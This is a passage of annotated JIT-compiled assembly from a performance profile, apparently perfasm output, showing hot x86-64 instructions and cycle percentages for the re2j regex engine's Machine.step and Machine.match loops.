0.32% 0.27% │││ │││ ││ 0x00007f000d23d77d: mov %r11d,%edi
0.02% 0.01% │││ │││ ││ 0x00007f000d23d780: dec %edi
0.05% 0.02% │││ │││ ││ 0x00007f000d23d782: cmp %ebx,%edi
│││ │││ ││ 0x00007f000d23d784: jae 0x00007f000d23de99
0.31% 0.32% │││ │││ ││ 0x00007f000d23d78a: lea (%r12,%r10,8),%rdi
0.28% 0.27% │││ │││ ││ 0x00007f000d23d78e: xor %r10d,%r10d ;*aload_0
│││ │││ ││ ; - com.google.re2j.Machine::step@25 (line 285)
│││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
1.51% 1.51% │││ │││↗ ││ 0x00007f000d23d791: mov 0x10(%rdi,%r10,4),%ecx ;*aaload
│││ ││││ ││ ; - com.google.re2j.Machine::step@87 (line 295)
│││ ││││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.42% 0.33% │││ ││││ ││ 0x00007f000d23d796: mov 0xc(%r12,%rcx,8),%edx ;*getfield op
│││ ││││ ││ ; - com.google.re2j.Machine::step@92 (line 297)
│││ ││││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
│││ ││││ ││ ; implicit exception: dispatches to 0x00007f000d23e995
2.42% 2.20% │││ ││││ ││ 0x00007f000d23d79b: cmp $0x6,%edx
│││╭││││ ││ 0x00007f000d23d79e: je 0x00007f000d23db72 ;*if_icmpne
││││││││ ││ ; - com.google.re2j.Machine::step@97 (line 297)
││││││││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
1.25% 1.23% ││││││││ ││ 0x00007f000d23d7a4: cmp $0xa,%edx
││││╰│││ ││ 0x00007f000d23d7a7: je 0x00007f000d23d62c ;*if_icmpne
││││ │││ ││ ; - com.google.re2j.Inst::matchRune@6 (line 90)
││││ │││ ││ ; - com.google.re2j.Machine::step@181 (line 312)
││││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
1.56% 1.54% ││││ │││ ││ 0x00007f000d23d7ad: cmp $0xb,%edx
││││ │││ ││ 0x00007f000d23d7b0: je 0x00007f000d23dc5d ;*if_icmpne
││││ │││ ││ ; - com.google.re2j.Inst::matchRune@17 (line 94)
││││ │││ ││ ; - com.google.re2j.Machine::step@181 (line 312)
││││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
1.06% 1.22% ││││ │││ ││ 0x00007f000d23d7b6: cmp $0x9,%edx
││││ │││ ││ 0x00007f000d23d7b9: je 0x00007f000d23dcbd ;*if_icmpne
││││ │││ ││ ; - com.google.re2j.Inst::matchRune@38 (line 98)
││││ │││ ││ ; - com.google.re2j.Machine::step@181 (line 312)
││││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
1.13% 0.90% ││││ │││ ││ 0x00007f000d23d7bf: cmp $0xc,%edx
││││ │││ ││ 0x00007f000d23d7c2: jne 0x00007f000d23dbff ;*if_icmpne
││││ │││ ││ ; - com.google.re2j.Inst::matchRune@61 (line 102)
││││ │││ ││ ; - com.google.re2j.Machine::step@181 (line 312)
││││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
1.71% 1.81% ││││ │││ ││ 0x00007f000d23d7c8: mov 0x1c(%r12,%rcx,8),%ebx ;*getfield f0
││││ │││ ││ ; - com.google.re2j.Inst::matchRune@65 (line 103)
││││ │││ ││ ; - com.google.re2j.Machine::step@181 (line 312)
││││ │││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.82% 0.84% ││││ │││ ││ 0x00007f000d23d7cd: cmp %eax,%ebx
││││ ╰││ ││ 0x00007f000d23d7cf: je 0x00007f000d23d62c ;*if_icmpeq
││││ ││ ││ ; - com.google.re2j.Inst::matchRune@69 (line 103)
││││ ││ ││ ; - com.google.re2j.Machine::step@181 (line 312)
││││ ││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
1.97% 1.78% ││││ ││ ││ 0x00007f000d23d7d5: mov 0x20(%r12,%rcx,8),%ebx ;*getfield f1
││││ ││ ││ ; - com.google.re2j.Inst::matchRune@73 (line 103)
││││ ││ ││ ; - com.google.re2j.Machine::step@181 (line 312)
││││ ││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.45% 0.52% ││││ ││ ││ 0x00007f000d23d7da: cmp %eax,%ebx
││││ ╰│ ││ 0x00007f000d23d7dc: je 0x00007f000d23d62c ;*if_icmpeq
││││ │ ││ ; - com.google.re2j.Inst::matchRune@77 (line 103)
││││ │ ││ ; - com.google.re2j.Machine::step@181 (line 312)
││││ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
1.36% 1.37% ││││ │ ││ 0x00007f000d23d7e2: mov 0x24(%r12,%rcx,8),%ebx ;*getfield f2
││││ │ ││ ; - com.google.re2j.Inst::matchRune@81 (line 103)
││││ │ ││ ; - com.google.re2j.Machine::step@181 (line 312)
││││ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.87% 0.91% ││││ │ ││ 0x00007f000d23d7e7: cmp %eax,%ebx
││││ │ ││ 0x00007f000d23d7e9: je 0x00007f000d23dd1d ;*if_icmpeq
││││ │ ││ ; - com.google.re2j.Inst::matchRune@85 (line 103)
││││ │ ││ ; - com.google.re2j.Machine::step@181 (line 312)
││││ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
1.81% 1.89% ││││ │ ││ 0x00007f000d23d7ef: mov 0x28(%r12,%rcx,8),%ebx ;*getfield f3
││││ │ ││ ; - com.google.re2j.Inst::matchRune@89 (line 103)
││││ │ ││ ; - com.google.re2j.Machine::step@181 (line 312)
││││ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.41% 0.44% ││││ │ ││ 0x00007f000d23d7f4: cmp %eax,%ebx
││││ │ ││ 0x00007f000d23d7f6: je 0x00007f000d23dd85 ;*aload
││││ │ ││ ; - com.google.re2j.Machine::step@207 (line 315)
││││ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
1.18% 1.17% │↘││ │ ││ 0x00007f000d23d7fc: inc %r10d ;*iinc
│ ││ │ ││ ; - com.google.re2j.Machine::step@218 (line 282)
│ ││ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.64% 0.79% │ ││ │ ││ 0x00007f000d23d7ff: cmp %r11d,%r10d
│ ││ ╰ ││ 0x00007f000d23d802: jl 0x00007f000d23d791 ;*if_icmpge
│ ││ ││ ; - com.google.re2j.Machine::step@22 (line 282)
│ ││ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.19% 0.25% │ ↘│ ││ 0x00007f000d23d804: mov 0x28(%rsp),%r11d
0.18% 0.22% │ │ ││ 0x00007f000d23d809: movzbl 0x18(%r12,%r11,8),%r11d
0.21% 0.39% │ │ ││ 0x00007f000d23d80f: test %r11d,%r11d
│ │ ╭ ││ 0x00007f000d23d812: jne 0x00007f000d23d836 ;*ifeq
│ │ │ ││ ; - com.google.re2j.Machine$Queue::clear@4 (line 69)
│ │ │ ││ ; - com.google.re2j.Machine::step@225 (line 319)
│ │ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.18% 0.38% │ │ │ ││ 0x00007f000d23d814: mov 0x28(%rsp),%r10d
0.07% 0.14% │ │ │ ││ 0x00007f000d23d819: mov 0x1c(%r12,%r10,8),%ebp ;*getfield pcs
│ │ │ ││ ; - com.google.re2j.Machine$Queue::clear@29 (line 73)
│ │ │ ││ ; - com.google.re2j.Machine::step@225 (line 319)
│ │ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.12% 0.18% │ │ │ ││ 0x00007f000d23d81e: movb $0x1,0x18(%r12,%r10,8) ;*putfield empty
│ │ │ ││ ; - com.google.re2j.Machine$Queue::clear@15 (line 71)
│ │ │ ││ ; - com.google.re2j.Machine::step@225 (line 319)
│ │ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.49% 0.61% │ │ │ ││ 0x00007f000d23d824: mov %r12,0x10(%r12,%r10,8) ;*putfield pcsl
│ │ │ ││ ; - com.google.re2j.Machine$Queue::clear@25 (line 72)
│ │ │ ││ ; - com.google.re2j.Machine::step@225 (line 319)
│ │ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.83% 1.25% │ │ │ ││ 0x00007f000d23d829: mov %r12d,0xc(%r12,%r10,8) ;*putfield size
│ │ │ ││ ; - com.google.re2j.Machine$Queue::clear@10 (line 70)
│ │ │ ││ ; - com.google.re2j.Machine::step@225 (line 319)
│ │ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.37% 0.58% │ │ │ ││ 0x00007f000d23d82e: test %ebp,%ebp
│ │ │ ││ 0x00007f000d23d830: jne 0x00007f000d23e08d ;*invokevirtual clear
│ │ │ ││ ; - com.google.re2j.Machine::step@225 (line 319)
│ │ │ ││ ; - com.google.re2j.Machine::match@355 (line 246)
0.06% 0.06% │ │ ↘ ││ 0x00007f000d23d836: mov 0x60(%rsp),%r10
0.15% 0.15% │ │ ││ 0x00007f000d23d83b: movzbl 0x10(%r10),%eax ;*getfield matched
│ │ ││ ; - com.google.re2j.Machine::match@374 (line 250)
0.38% 0.42% │ │ ││ 0x00007f000d23d840: mov 0x60(%rsp),%r10
0.23% 0.26% │ │ ││ 0x00007f000d23d845: movzbl 0x11(%r10),%ebp ;*getfield captures
│ │ ││ ; - com.google.re2j.Machine::match@367 (line 250)
0.07% 0.05% │ │ ││ 0x00007f000d23d84a: mov 0x1c(%rsp),%r10d
0.11% 0.17% │ │ ││ 0x00007f000d23d84f: test %r10d,%r10d
│ │ ╭ ││ 0x00007f000d23d852: je 0x00007f000d23dac6 ;*ifne
│ │ │ ││ ; - com.google.re2j.Machine::match@360 (line 247)
0.34% 0.41% │ │ │ ││ 0x00007f000d23d858: test %ebp,%ebp
│ │ │ ││ 0x00007f000d23d85a: jne 0x00007f000d23dfa5 ;*ifne
│ │ │ ││ ; - com.google.re2j.Machine::match@370 (line 250)
0.21% 0.28% │ │ │ ││ 0x00007f000d23d860: test %eax,%eax
│ │ │ ││ 0x00007f000d23d862: jne 0x00007f000d23e04d ;*ifeq
│ │ │ ││ ; - com.google.re2j.Machine::match@377 (line 250)
0.09% 0.07% │ │ │ ││ 0x00007f000d23d868: cmp $0xffffffff,%r13d
│ │ │╭ ││ 0x00007f000d23d86c: je 0x00007f000d23dab2 ;*if_icmpeq
│ │ ││ ││ ; - com.google.re2j.Machine::match@399 (line 258)
0.14% 0.17% │ │ ││ ││ 0x00007f000d23d872: mov %r13d,0x18(%rsp)
0.34% 0.40% │ │ ││ ││ 0x00007f000d23d877: mov 0x70(%rsp),%r10
0.16% 0.32% │ │ ││ ││ 0x00007f000d23d87c: mov 0x10(%r10),%r10d ;*getfield end
│ │ ││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@9 (line 186)
│ │ ││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.15% 0.09% │ │ ││ ││ 0x00007f000d23d880: mov 0x24(%rsp),%ecx
0.09% 0.19% │ │ ││ ││ 0x00007f000d23d884: add %r8d,%ecx
0.31% 0.48% │ │ ││ ││ 0x00007f000d23d887: mov 0x70(%rsp),%r11
0.23% 0.27% │ │ ││ ││ 0x00007f000d23d88c: add 0xc(%r11),%ecx ;*iadd
│ │ ││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@5 (line 185)
│ │ ││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.14% 0.20% │ │ ││ ││ 0x00007f000d23d890: cmp %r10d,%ecx
│ │ ││╭ ││ 0x00007f000d23d893: jge 0x00007f000d23db05 ;*if_icmpge
│ │ │││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@12 (line 186)
│ │ │││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.19% 0.31% │ │ │││ ││ 0x00007f000d23d899: mov 0x14(%r11),%ebp ;*getfield str
│ │ │││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@16 (line 187)
│ │ │││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.23% 0.37% │ │ │││ ││ 0x00007f000d23d89d: mov 0x8(%r12,%rbp,8),%r10d ; implicit exception: dispatches to 0x00007f000d23e9f1
0.39% 0.64% │ │ │││ ││ 0x00007f000d23d8a2: cmp $0xf80002da,%r10d ; {metadata('java/lang/String')}
│ │ │││ ││ 0x00007f000d23d8a9: jne 0x00007f000d23de61
0.27% 0.30% │ │ │││ ││ 0x00007f000d23d8af: lea (%r12,%rbp,8),%rbx ;*invokeinterface charAt
│ │ │││ ││ ; - java.lang.Character::codePointAt@2 (line 4866)
│ │ │││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
│ │ │││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.11% 0.10% │ │ │││ ││ 0x00007f000d23d8b3: test %ecx,%ecx
│ │ │││ ││ 0x00007f000d23d8b5: jl 0x00007f000d23dfe9 ;*iflt
│ │ │││ ││ ; - java.lang.String::charAt@1 (line 657)
│ │ │││ ││ ; - java.lang.Character::codePointAt@2 (line 4866)
│ │ │││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
│ │ │││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.19% 0.29% │ │ │││ ││ 0x00007f000d23d8bb: mov 0xc(%rbx),%edx ;*getfield value
│ │ │││ ││ ; - java.lang.String::charAt@6 (line 657)
│ │ │││ ││ ; - java.lang.Character::codePointAt@2 (line 4866)
│ │ │││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
│ │ │││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.16% 0.20% │ │ │││ ││ 0x00007f000d23d8be: mov 0xc(%r12,%rdx,8),%ebp ;*arraylength
│ │ │││ ││ ; - java.lang.String::charAt@9 (line 657)
│ │ │││ ││ ; - java.lang.Character::codePointAt@2 (line 4866)
│ │ │││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
│ │ │││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
│ │ │││ ││ ; implicit exception: dispatches to 0x00007f000d23ea05
2.39% 3.30% │ │ │││ ││ 0x00007f000d23d8c3: cmp %ebp,%ecx
│ │ │││ ││ 0x00007f000d23d8c5: jge 0x00007f000d23e0c5 ;*if_icmplt
│ │ │││ ││ ; - java.lang.String::charAt@10 (line 657)
│ │ │││ ││ ; - java.lang.Character::codePointAt@2 (line 4866)
│ │ │││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
│ │ │││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.59% 0.81% │ │ │││ ││ 0x00007f000d23d8cb: cmp %ebp,%ecx
│ │ │││ ││ 0x00007f000d23d8cd: jae 0x00007f000d23de1d
0.05% 0.03% │ │ │││ ││ 0x00007f000d23d8d3: lea (%r12,%rdx,8),%r10
0.00% │ │ │││ ││ 0x00007f000d23d8d7: movzwl 0x10(%r10,%rcx,2),%r10d ;*caload
│ │ │││ ││ ; - java.lang.String::charAt@27 (line 660)
│ │ │││ ││ ; - java.lang.Character::codePointAt@2 (line 4866)
│ │ │││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
│ │ │││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.13% 0.18% │ │ │││ ││ 0x00007f000d23d8dd: cmp $0xd800,%r10d
│ │ │││ ││ 0x00007f000d23d8e4: jge 0x00007f000d23e101 ;*if_icmplt
│ │ │││ ││ ; - java.lang.Character::isHighSurrogate@3 (line 4729)
│ │ │││ ││ ; - java.lang.Character::codePointAt@9 (line 4867)
│ │ │││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@20 (line 187)
│ │ │││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.62% 0.94% │ │ │││ ││ 0x00007f000d23d8ea: shl $0x3,%r10d ;*ishl
│ │ │││ ││ ; - com.google.re2j.MachineInput$UTF16Input::step@38 (line 190)
│ │ │││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.11% 0.13% │ │ │││ ││ 0x00007f000d23d8ee: mov %r10d,%ecx
0.01% 0.01% │ │ │││ ││ 0x00007f000d23d8f1: and $0x7,%ecx
0.45% 0.65% │ │ │││ ││ 0x00007f000d23d8f4: or $0x1,%r10d
0.10% 0.13% │ │ │││ ││ 0x00007f000d23d8f8: or $0x1,%ecx ;*ior ; - com.google.re2j.MachineInput$UTF16Input::step@41 (line 190)
│ │ │││ ││ ; - com.google.re2j.Machine::match@407 (line 259)
0.50% 0.70% │ │ │││ ││ 0x00007f000d23d8fb: sar $0x3,%r10d ; OopMap{[8]=Oop [16]=Oop [96]=Oop [112]=Oop off=1279}
│ │ │││ ││ ;*goto
│ │ │││ ││ ; - com.google.re2j.Machine::match@437 (line 266)
0.04% 0.01% │ │ │││ ││ ↗ ↗ 0x00007f000d23d8ff: test %eax,0x18aad6fb(%rip) # 0x00007f0025ceb000
│ │ │││ ││ │ │ ;*goto
│ │ │││ ││ │ │ ; - com.google.re2j.Machine::match@437 (line 266)
│ │ │││ ││ │ │ ; {poll}
0.08% 0.08% │ │ │││ ││ │ │ 0x00007f000d23d905: mov 0x60(%rsp),%r11
0.09% 0.09% │ │ │││ ││ │ │ 0x00007f000d23d90a: mov 0x14(%r11),%r11d ;*getfield re2
│ │ │││ ││ │ │ ; - com.google.re2j.Machine::match@169 (line 220)
0.67% 0.64% │ │ │││ ││ │ │ 0x00007f000d23d90e: vmovd %r11d,%xmm5
0.01% 0.01% │ │ │││ ││ │ │ 0x00007f000d23d913: mov 0x60(%rsp),%r11
0.09% 0.01% │ │ │││ ││ │ │ 0x00007f000d23d918: mov 0x28(%r11),%edx ;*getfield matchcap
│ │ │││ ││ │ │ ; - com.google.re2j.Machine::match@307 (line 243)
0.12% 0.06% │ │ │││ ││ │ │ 0x00007f000d23d91c: mov 0x10(%rsp),%r11
0.56% 0.52% │ │ │││ ││ │ │ 0x00007f000d23d921: shr $0x3,%r11
0.03% 0.02% │ │ │││ ││ │ │ 0x00007f000d23d925: mov %r11d,0x28(%rsp)
0.04% 0.03% │ │ │││ ││ │ │ 0x00007f000d23d92a: mov 0x24(%rsp),%ebx
0.09% 0.11% │ │ │││ ││ │ │ 0x00007f000d23d92e: mov %ebx,0x1c(%rsp)
0.62% 0.49% │ │ │││ ││ │ │ 0x00007f000d23d932: mov %r8d,0x38(%rsp)
0.01% 0.02% │ │ │││ ││ │ │ 0x00007f000d23d937: mov %ecx,0x24(%rsp)
0.10% 0.04% │ │ │││ ││ │ │ 0x00007f000d23d93b: mov %r10d,0x20(%rsp)
0.11% 0.09% │ │ │││ ││ │ │ 0x00007f000d23d940: mov 0x8(%rsp),%r10
0.46% 0.42% │ │ │││ ││ │ │ 0x00007f000d23d945: mov %r10,0x10(%rsp)
0.02% 0.02% │ │ │││ ││ │ │ 0x00007f000d23d94a: vmovd %edx,%xmm3 ;*aload
│ │ │││ ││ │ │ ; - com.google.re2j.Machine::match@136 (line 211)
0.06% 0.07% ↘ │ │││ ││ │ │ 0x00007f000d23d94e: mov 0x28(%rsp),%r11d
0.10% 0.12% │ │││ ││ │ │ 0x00007f000d23d953: movzbl 0x18(%r12,%r11,8),%r10d ; implicit exception: dispatches to 0x00007f000d23e9a5
0.63% 0.51% │ │││ ││ │ │ 0x00007f000d23d959: test %r10d,%r10d
│ │││╭ ││ │ │ 0x00007f000d23d95c: je 0x00007f000d23d990 ;*ifeq
│ ││││ ││ │ │ ; - com.google.re2j.Machine::match@141 (line 211)
0.02% │ ││││ ││ │ │ 0x00007f000d23d95e: mov 0x2c(%rsp),%r10d
0.07% 0.07% │ ││││ ││ │ │ 0x00007f000d23d963: test %r10d,%r10d
│ ││││ ││ │ │ 0x00007f000d23d966: jne 0x00007f000d23e16d ;*ifeq
│ ││││ ││ │ │ ; - com.google.re2j.Machine::match@148 (line 212)
0.06% 0.06% │ ││││ ││ │ │ 0x00007f000d23d96c: test %eax,%eax
│ ││││ ││ │ │ 0x00007f000d23d96e: jne 0x00007f000d23e1b5 ;*ifeq
│ ││││ ││ │ │ ; - com.google.re2j.Machine::match@162 (line 216)
0.49% 0.46% │ ││││ ││ │ │ 0x00007f000d23d974: vmovd %xmm5,%r10d
0.01% 0.00% │ ││││ ││ │ │ 0x00007f000d23d979: mov 0x24(%r12,%r10,8),%r11d ;*getfield prefix
│ ││││ ││ │ │ ; - com.google.re2j.Machine::match@172 (line 220)
│ ││││ ││ │ │ ; implicit exception: dispatches to 0x00007f000d23ea15
0.03% 0.05% │ ││││ ││ │ │ 0x00007f000d23d97e: mov 0xc(%r12,%r11,8),%r10d ;*getfield value
│ ││││ ││ │ │ ; - java.lang.String::isEmpty@1 (line 635)
│ ││││ ││ │ │ ; - com.google.re2j.Machine::match@175 (line 220)
│ ││││ ││ │ │ ; implicit exception: dispatches to 0x00007f000d23ea25
0.08% 0.03% │ ││││ ││ │ │ 0x00007f000d23d983: mov 0xc(%r12,%r10,8),%ebp ;*arraylength
│ ││││ ││ │ │ ; - java.lang.String::isEmpty@4 (line 635)
│ ││││ ││ │ │ ; - com.google.re2j.Machine::match@175 (line 220)
│ ││││ ││ │ │ ; implicit exception: dispatches to 0x00007f000d23ea35
0.94% 1.06% │ ││││ ││ │ │ 0x00007f000d23d988: test %ebp,%ebp
│ ││││ ││ │ │ 0x00007f000d23d98a: jne 0x00007f000d23e145 ;*aload_0
│ ││││ ││ │ │ ; - com.google.re2j.Machine::match@267 (line 237)
0.50% 0.40% │ │││↘ ││ │ │ 0x00007f000d23d990: test %eax,%eax
│ │││ ││ │ │ 0x00007f000d23d992: jne 0x00007f000d23df01 ;*ifne
│ │││ ││ │ │ ; - com.google.re2j.Machine::match@271 (line 237)
0.01% 0.01% │ │││ ││ │ │ 0x00007f000d23d998: mov 0x38(%rsp),%r11d
0.09% 0.06% │ │││ ││ │ │ 0x00007f000d23d99d: test %r11d,%r11d
│ │││ ╭ ││ │ │ 0x00007f000d23d9a0: je 0x00007f000d23d9b0 ;*ifeq
│ │││ │ ││ │ │ ; - com.google.re2j.Machine::match@275 (line 237)
0.11% 0.22% │ │││ │ ││ │ │ 0x00007f000d23d9a2: mov 0x5c(%rsp),%r10d
0.49% 0.36% │ │││ │ ││ │ │ 0x00007f000d23d9a7: test %r10d,%r10d
│ │││ │ ││ │ │ 0x00007f000d23d9aa: jne 0x00007f000d23df51 ;*aload_0
│ │││ │ ││ │ │ ; - com.google.re2j.Machine::match@282 (line 240)
0.01% │ │││ ↘ ││ │ │ 0x00007f000d23d9b0: mov 0x60(%rsp),%r10
0.03% 0.03% │ │││ ││ │ │ 0x00007f000d23d9b5: movzbl 0x11(%r10),%ebp ;*getfield captures
│ │││ ││ │ │ ; - com.google.re2j.Machine::match@283 (line 240)
0.20% 0.15% │ │││ ││ │ │ 0x00007f000d23d9ba: test %ebp,%ebp
│ │││ ││ │ │ 0x00007f000d23d9bc: jne 0x00007f000d23e029 ;*ifeq
│ │││ ││ │ │ ; - com.google.re2j.Machine::match@286 (line 240)
0.48% 0.21% │ │││ ││ │ │ 0x00007f000d23d9c2: mov 0x18(%r10),%r11d ;*getfield prog
│ │││ ││ │ │ ; - com.google.re2j.Machine::match@297 (line 243)
0.02% 0.01% │ │││ ││ │ │ 0x00007f000d23d9c6: mov 0x1c(%r12,%r11,8),%ebp ;*getfield startInst
│ │││ ││ │ │ ; - com.google.re2j.Machine::match@300 (line 243)
│ │││ ││ │ │ ; implicit exception: dispatches to 0x00007f000d23e9b5
0.08% 0.02% │ │││ ││ │ │ 0x00007f000d23d9cb: mov 0x8(%r12,%rbp,8),%r10d ; implicit exception: dispatches to 0x00007f000d23e9c5
0.80% 0.34% │ │││ ││ │ │ 0x00007f000d23d9d0: cmp $0xf8019a09,%r10d ; {metadata('com/google/re2j/Inst$Alt5Inst')}
│ │││ ││ │ │ 0x00007f000d23d9d7: jne 0x00007f000d23dded ;*ifeq
│ │││ ││ │ │ ; - com.google.re2j.Machine::match@286 (line 240)
0.63% 0.26% │ │││ ││ │ │ 0x00007f000d23d9dd: lea (%r12,%rbp,8),%rsi ;*invokevirtual add
│ │││ ││ │ │ ; - com.google.re2j.Machine::match@314 (line 243)
0.00% 0.00% │ │││ ││ │ │ 0x00007f000d23d9e1: mov 0x28(%rsp),%r11d
0.02% 0.02% │ │││ ││ │ │ 0x00007f000d23d9e6: lea (%r12,%r11,8),%r10 ;*aload
│ │││ ││ │ │ ; - com.google.re2j.Machine::match@136 (line 211)
0.10% 0.10% │ │││ ││ │ │ 0x00007f000d23d9ea: mov %r10,0x8(%rsp)
0.65% 0.34% │ │││ ││ │ │ 0x00007f000d23d9ef: vmovd %xmm3,%r11d
0.00% 0.00% │ │││ ││ │ │ 0x00007f000d23d9f4: mov %r11,%r8
0.02% 0.01% │ │││ ││ │ │ 0x00007f000d23d9f7: shl $0x3,%r8 ;*getfield matchcap
│ │││ ││ │ │ ; - com.google.re2j.Machine::match@307 (line 243)
0.10% 0.07% │ │││ ││ │ │ 0x00007f000d23d9fb: mov %r10,%rdx
0.52% 0.45% │ │││ ││ │ │ 0x00007f000d23d9fe: mov 0x38(%rsp),%ecx
0.01% │ │││ ││ │ │ 0x00007f000d23da02: xor %edi,%edi
0.04% │ │││ ││ │ │ 0x00007f000d23da04: mov 0x60(%rsp),%r10
0.08% 0.05% │ │││ ││ │ │ 0x00007f000d23da09: mov %r10,(%rsp)
0.54% 0.41% │ │││ ││ │ │ 0x00007f000d23da0d: xchg %ax,%ax
0.00% │ │││ ││ │ │ 0x00007f000d23da0f: callq 0x00007f000d046020 ; OopMap{[8]=Oop [16]=Oop [40]=NarrowOop [96]=Oop [112]=Oop off=1556}
│ │││ ││ │ │ ;*invokevirtual add
│ │││ ││ │ │ ; - com.google.re2j.Machine::match@314 (line 243)
│ │││ ││ │ │ ; {optimized virtual_call}
0.00% │ │││ ││ │ │ 0x00007f000d23da14: mov 0x18(%rsp),%eax
0.20% 0.18% │ │││ ││ │ │ 0x00007f000d23da18: test %eax,%eax
│ │││ ╭ ││ │ │ 0x00007f000d23da1a: jl 0x00007f000d23daa1 ;*ifge
│ │││ │ ││ │ │ ; - com.google.re2j.Utils::emptyOpContext@3 (line 173)
│ │││ │ ││ │ │ ; - com.google.re2j.Machine::match@322 (line 245)
0.49% 0.59% │ │││ │ ││ │ │ 0x00007f000d23da20: xor %r9d,%r9d ;*iload_0
│ │││ │ ││ │ │ ; - com.google.re2j.Utils::emptyOpContext@10 (line 176)
│ │││ │ ││ │ │ ; - com.google.re2j.Machine::match@322 (line 245)
0.01% 0.02% │ │││ │ ││↗ │ │ 0x00007f000d23da23: cmp $0xa,%eax
│ │││ │╭ │││ │ │ 0x00007f000d23da26: je 0x00007f000d23db12 ;*iload_1
│ │││ ││ │││ │ │ ; - com.google.re2j.Utils::emptyOpContext@20 (line 179)
│ │││ ││ │││ │ │ ; - com.google.re2j.Machine::match@322 (line 245)
0.13% 0.11% │ │││ ││ │││ │ │↗ 0x00007f000d23da2c: mov 0x20(%rsp),%r13d
0.07% 0.08% │ │││ ││ │││ │ ││ 0x00007f000d23da31: test %r13d,%r13d
│ │││ ││╭ │││ │ ││ 0x00007f000d23da34: jl 0x00007f000d23daac ;*iload_1
│ │││ │││ │││ │ ││ ; - com.google.re2j.Utils::emptyOpContext@29 (line 182)
│ │││ │││ │││ │ ││ ; - com.google.re2j.Machine::match@322 (line 245)
0.54% 0.53% │ │││ │││ │││↗│ ││ 0x00007f000d23da36: cmp $0xa,%r13d
│ │││ │││╭ │││││ ││ 0x00007f000d23da3a: je 0x00007f000d23db1b ;*iload_0
│ │││ ││││ │││││ ││ ; - com.google.re2j.Utils::emptyOpContext@39 (line 185)
│ │││ ││││ │││││ ││ ; - com.google.re2j.Machine::match@322 (line 245)
0.00% 0.02% │ │││ ││││ │││││ ││↗ 0x00007f000d23da40: mov 0x18(%rsp),%r10d
0.10% 0.15% │ │││ ││││ │││││ │││ 0x00007f000d23da45: add $0xffffffbf,%r10d
0.10% 0.05% │ │││ ││││ │││││ │││ 0x00007f000d23da49: cmp $0x1a,%r10d
│ │││ ││││╭ │││││ │││ 0x00007f000d23da4d: jb 0x00007f000d23da62 ;*if_icmple
│ │││ │││││ │││││ │││ ; - com.google.re2j.Utils::isWordRune@9 (line 149)
│ │││ │││││ │││││ │││ ; - com.google.re2j.Utils::emptyOpContext@40 (line 185)
│ │││ │││││ │││││ │││ ; - com.google.re2j.Machine::match@322 (line 245)
0.47% 0.56% │ │││ │││││ │││││ │││ 0x00007f000d23da4f: mov 0x18(%rsp),%r11d
0.01% 0.01% │ │││ │││││ │││││ │││ 0x00007f000d23da54: add $0xffffff9f,%r11d
0.07% 0.08% │ │││ │││││ │││││ │││ 0x00007f000d23da58: cmp $0x1a,%r11d
│ │││ │││││╭ │││││ │││ 0x00007f000d23da5c: jae 0x00007f000d23db24 ;*iconst_1
│ │││ ││││││ │││││ │││ ; - com.google.re2j.Utils::isWordRune@42 (line 149)
│ │││ ││││││ │││││ │││ ; - com.google.re2j.Utils::emptyOpContext@40 (line 185)
│ │││ ││││││ │││││ │││ ; - com.google.re2j.Machine::match@322 (line 245)
0.08% 0.10% │ │││ ││││↘│ │││││ │││↗ 0x00007f000d23da62: mov $0x1,%ebp ;*ireturn
│ │││ ││││ │ │││││ ││││ ; - com.google.re2j.Utils::isWordRune@47 (line 149)
│ │││ ││││ │ │││││ ││││ ; - com.google.re2j.Utils::emptyOpContext@40 (line 185)
│ │││ ││││ │ │││││ ││││ ; - com.google.re2j.Machine::match@322 (line 245)
0.43% 0.44% │ │││ ││││ │ │││││ ││││↗ 0x00007f000d23da67: mov 0x20(%rsp),%r10d
0.09% 0.07% │ │││ ││││ │ │││││ │││││ 0x00007f000d23da6c: add $0xffffffbf,%r10d
